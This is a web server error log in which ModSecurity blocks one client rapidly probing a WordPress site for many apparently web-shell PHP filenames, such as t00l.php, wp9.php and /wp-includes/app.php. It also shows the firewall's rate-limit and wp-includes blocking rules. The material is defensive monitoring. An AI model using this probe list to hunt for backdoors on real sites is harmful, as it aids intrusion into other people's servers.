[Tue Mar 24 15:13:56.874001 2026] [:error] [pid 3137:tid 3144] [client 20.251.56.73:13944] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aifa.php"] [unique_id "acI5tJdZesutm6dfYM_PgAAAAMU"]
[Tue Mar 24 15:13:57.398767 2026] [:error] [pid 48219:tid 48296] [client 20.251.56.73:13578] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aifa.php"] [unique_id "acI5tShf3b4R_lAIyv81sAAAAg8"]
[Tue Mar 24 15:13:57.948414 2026] [:error] [pid 64198:tid 64220] [client 20.251.56.73:13599] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/erty.php"] [unique_id "acI5tXVzJqf6OS_oSZ0skAAAAVQ"]
[Tue Mar 24 15:13:58.515355 2026] [:error] [pid 48219:tid 48282] [client 20.251.56.73:13622] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/erty.php"] [unique_id "acI5tihf3b4R_lAIyv81sQAAAgE"]
[Tue Mar 24 15:13:59.059896 2026] [:error] [pid 48219:tid 48301] [client 20.251.56.73:14150] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/erty.php"] [unique_id "acI5tyhf3b4R_lAIyv81sgAAAhQ"]
[Tue Mar 24 15:13:59.671719 2026] [:error] [pid 3137:tid 3141] [client 20.251.56.73:14120] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/erty.php"] [unique_id "acI5t5dZesutm6dfYM_PgwAAAMI"]
[Tue Mar 24 15:14:00.198690 2026] [:error] [pid 48219:tid 48305] [client 20.251.56.73:14128] [client 20.251.56.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/app.php"] [unique_id "acI5uChf3b4R_lAIyv81swAAAhg"]
[Tue Mar 24 15:14:00.758093 2026] [:error] [pid 3032:tid 3118] [client 20.251.56.73:13930] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aee.php"] [unique_id "acI5uCa_-JXXD03-JNwpowAAAI8"]
[Tue Mar 24 15:14:01.293201 2026] [:error] [pid 48128:tid 48156] [client 20.251.56.73:14107] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aee.php"] [unique_id "acI5ucvR4LIMFLbM5Vkb8wAAAYY"]
[Tue Mar 24 15:14:01.855418 2026] [:error] [pid 38767:tid 38771] [client 20.251.56.73:14201] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aee.php"] [unique_id "acI5ufwkUqN4GJAI5oV85gAAAQE"]
[Tue Mar 24 15:14:02.444666 2026] [:error] [pid 38767:tid 38775] [client 20.251.56.73:14122] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aee.php"] [unique_id "acI5uvwkUqN4GJAI5oV85wAAAQU"]
[Tue Mar 24 15:14:03.037228 2026] [:error] [pid 38767:tid 38778] [client 20.251.56.73:14183] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "acI5u_wkUqN4GJAI5oV86gAAAQg"]
[Tue Mar 24 15:14:03.636501 2026] [:error] [pid 38767:tid 38787] [client 20.251.56.73:13933] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "acI5u_wkUqN4GJAI5oV87AAAARE"]
[Tue Mar 24 15:14:04.227956 2026] [:error] [pid 48214:tid 48270] [client 20.251.56.73:13863] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "acI5vLeshLWZ3uUDHKk5ZAAAAdI"]
[Tue Mar 24 15:14:04.748489 2026] [:error] [pid 3030:tid 3071] [client 20.251.56.73:14155] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zogy1.php"] [unique_id "acI5vAyOuILyynfcqfk8SAAAABY"]
[Tue Mar 24 15:14:05.298838 2026] [:error] [pid 3032:tid 3124] [client 20.251.56.73:13643] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b.php"] [unique_id "acI5vSa_-JXXD03-JNwppAAAAJU"]
[Tue Mar 24 15:14:05.866708 2026] [:error] [pid 3031:tid 3078] [client 20.251.56.73:13934] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b.php"] [unique_id "acI5vaJBKytnG47nuiYdYwAAAEI"]
[Tue Mar 24 15:14:06.449446 2026] [:error] [pid 38767:tid 38794] [client 20.251.56.73:13851] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b.php"] [unique_id "acI5vvwkUqN4GJAI5oV88gAAARg"]
[Tue Mar 24 15:14:07.085692 2026] [:error] [pid 64198:tid 64205] [client 20.251.56.73:13938] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/b.php"] [unique_id "acI5v3VzJqf6OS_oSZ0smQAAAUU"]
[Tue Mar 24 15:14:07.608115 2026] [:error] [pid 38767:tid 38779] [client 20.251.56.73:14193] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "acI5v_wkUqN4GJAI5oV8-QAAAQk"]
[Tue Mar 24 15:14:08.222268 2026] [:error] [pid 3137:tid 3140] [client 20.251.56.73:13878] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "acI5wJdZesutm6dfYM_PhwAAAME"]
[Tue Mar 24 15:14:08.749796 2026] [:error] [pid 3137:tid 3148] [client 20.251.56.73:14129] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "acI5wJdZesutm6dfYM_PigAAAMk"]
[Tue Mar 24 15:14:09.305583 2026] [:error] [pid 38767:tid 38783] [client 20.251.56.73:14084] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a5.php"] [unique_id "acI5wfwkUqN4GJAI5oV8_wAAAQ0"]
[Tue Mar 24 15:14:09.882942 2026] [:error] [pid 3030:tid 3052] [client 20.251.56.73:14142] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aapig.php"] [unique_id "acI5wQyOuILyynfcqfk8SgAAAAM"]
[Tue Mar 24 15:14:10.456547 2026] [:error] [pid 38767:tid 38777] [client 20.251.56.73:13577] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aapig.php"] [unique_id "acI5wvwkUqN4GJAI5oV9BQAAAQc"]
[Tue Mar 24 15:14:11.031261 2026] [:error] [pid 3030:tid 3058] [client 20.251.56.73:13946] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aapig.php"] [unique_id "acI5wwyOuILyynfcqfk8SwAAAAk"]
[Tue Mar 24 15:14:11.614620 2026] [:error] [pid 3137:tid 3144] [client 20.251.56.73:13078] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aapig.php"] [unique_id "acI5w5dZesutm6dfYM_PjAAAAMU"]
[Tue Mar 24 15:14:12.170713 2026] [:error] [pid 3031:tid 3077] [client 20.251.56.73:13886] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/com.php"] [unique_id "acI5xKJBKytnG47nuiYdZQAAAEE"]
[Tue Mar 24 15:14:12.707011 2026] [:error] [pid 3137:tid 3158] [client 20.251.56.73:13576] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/com.php"] [unique_id "acI5xJdZesutm6dfYM_PkgAAANM"]
[Tue Mar 24 15:14:13.406117 2026] [:error] [pid 3137:tid 3160] [client 20.251.56.73:13667] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/com.php"] [unique_id "acI5xZdZesutm6dfYM_PlAAAANU"]
[Tue Mar 24 15:14:13.930893 2026] [:error] [pid 3137:tid 3148] [client 20.251.56.73:13614] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/com.php"] [unique_id "acI5xZdZesutm6dfYM_PlgAAAMk"]
[Tue Mar 24 15:14:14.479488 2026] [:error] [pid 3137:tid 3146] [client 20.251.56.73:13841] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "acI5xpdZesutm6dfYM_PmQAAAMc"]
[Tue Mar 24 15:14:15.053912 2026] [:error] [pid 48219:tid 48291] [client 20.251.56.73:13861] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "acI5xyhf3b4R_lAIyv81twAAAgo"]
[Tue Mar 24 15:14:15.600631 2026] [:error] [pid 48219:tid 48304] [client 20.251.56.73:13934] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "acI5xyhf3b4R_lAIyv81ugAAAhc"]
[Tue Mar 24 15:14:16.128186 2026] [:error] [pid 3137:tid 3142] [client 20.251.56.73:13676] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ta0ol.php"] [unique_id "acI5yJdZesutm6dfYM_PmwAAAMM"]
[Tue Mar 24 15:14:16.749935 2026] [:error] [pid 48214:tid 48274] [client 20.251.56.73:13945] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "acI5yLeshLWZ3uUDHKk5ZQAAAdY"]
[Tue Mar 24 15:14:17.342881 2026] [:error] [pid 38767:tid 38794] [client 20.251.56.73:13844] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "acI5yfwkUqN4GJAI5oV9BwAAARg"]
[Tue Mar 24 15:14:17.866747 2026] [:error] [pid 38767:tid 38774] [client 20.251.56.73:13920] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "acI5yfwkUqN4GJAI5oV9DAAAAQQ"]
[Tue Mar 24 15:14:18.394320 2026] [:error] [pid 3032:tid 3114] [client 20.251.56.73:13931] File does not exist: /usr/local/apache/htdocs/suspended-page/gettest.php
[Tue Mar 24 15:14:18.667785 2026] [:error] [pid 3032:tid 3128] [client 20.251.56.73:13931] File does not exist: /usr/local/apache/htdocs/suspended-page/8.php
[Tue Mar 24 15:14:18.930946 2026] [:error] [pid 3032:tid 3122] [client 20.251.56.73:13931] File does not exist: /usr/local/apache/htdocs/suspended-page/wander.php
[Tue Mar 24 15:14:19.199706 2026] [:error] [pid 3032:tid 3125] [client 20.251.56.73:13931] File does not exist: /usr/local/apache/htdocs/suspended-page/ws88.php
[Tue Mar 24 15:14:19.465960 2026] [:error] [pid 3032:tid 3111] [client 20.251.56.73:13931] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Tue Mar 24 15:14:19.835581 2026] [:error] [pid 3032:tid 3107] [client 20.251.56.73:13931] File does not exist: /usr/local/apache/htdocs/suspended-page/t00l.php
[Tue Mar 24 15:14:20.126035 2026] [:error] [pid 3032:tid 3119] [client 20.251.56.73:13931] File does not exist: /usr/local/apache/htdocs/suspended-page/tool.php
[Tue Mar 24 15:14:20.440701 2026] [:error] [pid 3032:tid 3120] [client 20.251.56.73:13931] File does not exist: /usr/local/apache/htdocs/suspended-page/wps.php
[Tue Mar 24 15:14:20.710763 2026] [:error] [pid 3032:tid 3110] [client 20.251.56.73:13931] File does not exist: /usr/local/apache/htdocs/suspended-page/web.php
[Tue Mar 24 15:14:21.595261 2026] [:error] [pid 3032:tid 3128] [client 20.251.56.73:13931] File does not exist: /usr/local/apache/htdocs/suspended-page/wp9.php
[Tue Mar 24 15:14:21.857900 2026] [:error] [pid 3032:tid 3122] [client 20.251.56.73:13931] File does not exist: /usr/local/apache/htdocs/suspended-page/asd.php
[Tue Mar 24 15:14:22.120131 2026] [:error] [pid 3032:tid 3112] [client 20.251.56.73:13931] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awh.php"] [unique_id "acI5zia_-JXXD03-JNwpwAAAAIk"]
[Tue Mar 24 15:14:22.766835 2026] [:error] [pid 38767:tid 38771] [client 20.251.56.73:14132] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awh.php"] [unique_id "acI5zvwkUqN4GJAI5oV9LAAAAQE"]
[Tue Mar 24 15:14:23.336255 2026] [:error] [pid 48214:tid 48267] [client 20.251.56.73:13642] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awh.php"] [unique_id "acI5z7eshLWZ3uUDHKk5fwAAAc8"]
[Tue Mar 24 15:14:23.867329 2026] [:error] [pid 64198:tid 64221] [client 20.251.56.73:13941] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/awh.php"] [unique_id "acI5z3VzJqf6OS_oSZ0syAAAAVU"]
[Tue Mar 24 15:14:24.389720 2026] [:error] [pid 3137:tid 3140] [client 20.251.56.73:13632] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gelio1.php"] [unique_id "acI50JdZesutm6dfYM_PwgAAAME"]
[Tue Mar 24 15:14:24.920328 2026] [:error] [pid 3137:tid 3161] [client 20.251.56.73:13359] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gelio1.php"] [unique_id "acI50JdZesutm6dfYM_PxAAAANY"]
[Tue Mar 24 15:14:25.447117 2026] [:error] [pid 48219:tid 48296] [client 20.251.56.73:13845] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gelio1.php"] [unique_id "acI50Shf3b4R_lAIyv814wAAAg8"]
[Tue Mar 24 15:14:26.133897 2026] [:error] [pid 3137:tid 3146] [client 20.251.56.73:13925] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gelio1.php"] [unique_id "acI50pdZesutm6dfYM_PxwAAAMc"]
[Tue Mar 24 15:14:26.676899 2026] [:error] [pid 3032:tid 3127] [client 20.251.56.73:13359] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "acI50ia_-JXXD03-JNwp0gAAAJc"]
[Tue Mar 24 15:14:27.237958 2026] [:error] [pid 3032:tid 3119] [client 20.251.56.73:13908] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "acI50ya_-JXXD03-JNwp0wAAAJA"]
[Tue Mar 24 15:14:27.883158 2026] [:error] [pid 38767:tid 38785] [client 20.251.56.73:14172] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "acI50_wkUqN4GJAI5oV9MwAAAQ8"]
[Tue Mar 24 15:14:28.540811 2026] [:error] [pid 48128:tid 48172] [client 20.251.56.73:14143] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xper1.php"] [unique_id "acI51MvR4LIMFLbM5VkcAAAAAZM"]
[Tue Mar 24 15:14:29.134391 2026] [:error] [pid 48214:tid 48275] [client 20.251.56.73:14115] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bo.php"] [unique_id "acI51beshLWZ3uUDHKk5gQAAAdc"]
[Tue Mar 24 15:14:29.710709 2026] [:error] [pid 64198:tid 64204] [client 20.251.56.73:14106] [client 20.251.56.73] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bo.php"] [unique_id "acI51XVzJqf6OS_oSZ0s1wAAAUQ"]
